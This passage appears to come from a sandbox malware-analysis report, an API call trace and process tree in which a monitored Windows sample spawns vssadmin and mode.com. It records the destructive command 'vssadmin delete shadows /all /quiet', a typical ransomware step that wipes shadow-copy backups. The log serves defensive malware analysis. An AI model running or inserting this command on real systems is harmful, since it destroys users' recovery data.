_MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.995] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.996] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.996] GetProcessHeap () returned 0x240000 [0072.996] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254640 | out: hHeap=0x240000) returned 1 [0072.996] GetProcessHeap () returned 0x240000 [0072.996] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x258900 [0072.996] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14f4b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f460 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x14f460*(hProcess=0x50, hThread=0x54, dwProcessId=0x80c, dwThreadId=0x81c)) returned 1 [0073.664] CloseHandle (hObject=0x54) returned 1 [0073.664] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.664] GetProcessHeap () returned 0x240000 [0073.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25eb10 | out: hHeap=0x240000) returned 1 [0073.664] GetEnvironmentStringsW () returned 0x25eb10* [0073.664] GetProcessHeap () returned 0x240000 [0073.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25f630 [0073.665] FreeEnvironmentStringsW (penv=0x25eb10) returned 1 [0073.665] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14ed68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14ed68, ReturnLength=0x0) returned 0x0 [0073.665] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x14eda0, nSize=0x380, lpNumberOfBytesRead=0x14ed60 | out: lpBuffer=0x14eda0*, lpNumberOfBytesRead=0x14ed60*=0x380) returned 1 [0073.665] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x49fad000" os_pid = "0x10c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x600" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x208 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4a5d4000" os_pid = "0x80c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x600" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x81c Thread: id = 22 os_tid = 0x88c Thread: id = 23 os_tid = 0x89c Thread: id = 24 os_tid = 0x8ac Thread: id = 25 os_tid = 0x8bc Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4972b000" os_pid = "0x8cc" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005afe4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x92c Thread: id = 27 os_tid = 0x91c Thread: id = 28 os_tid = 0x90c [0089.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd5dc00 | out: lpSystemTimeAsFileTime=0xd5dc00*(dwLowDateTime=0x56e08310, dwHighDateTime=0x1d5fa0e)) [0089.218] GetCurrentProcessId () returned 0x8cc [0089.218] GetCurrentThreadId () returned 0x90c [0089.218] GetTickCount () returned 0x114bc4e [0089.218] QueryPerformanceCounter (in: lpPerformanceCount=0xd5dc08 | out: lpPerformanceCount=0xd5dc08*=20938876550) returned 1 [0089.219] malloc (_Size=0x100) returned 0x308e80 Thread: id = 29 os_tid = 0x8fc Thread: id = 30 os_tid = 0x8ec Thread: id = 31 os_tid = 0x8dc Thread: id = 32 os_tid = 0x94c Thread: id = 47 os_tid = 0x9ac Thread: id = 54 os_tid = 0x344 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 33 os_tid = 0xb44 Thread: id = 34 os_tid = 0x704 Thread: id = 35 os_tid = 0x768 Thread: id = 36 os_tid = 0x764 Thread: id = 37 os_tid = 0x758 Thread: id = 38 os_tid = 0x724 Thread: id = 39 os_tid = 0x718 Thread: id = 40 os_tid = 0x714 Thread: id = 41 os_tid = 0x630 Thread: id = 42 os_tid = 0x154 Thread: id = 43 os_tid = 0x150 Thread: id = 44 os_tid = 0x120 Thread: id = 45 os_tid = 0x118 Thread: id = 46 os_tid = 0xf0 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x47d39000" os_pid = "0x9ec" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005bdfd" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 48 os_tid = 0xaf0 Thread: id = 49 os_tid = 0x648 Thread: id = 50 os_tid = 0x544 Thread: id = 51 os_tid = 0xb3c Thread: id = 52 os_tid = 0x3d4 Thread: id = 53 os_tid = 0x9fc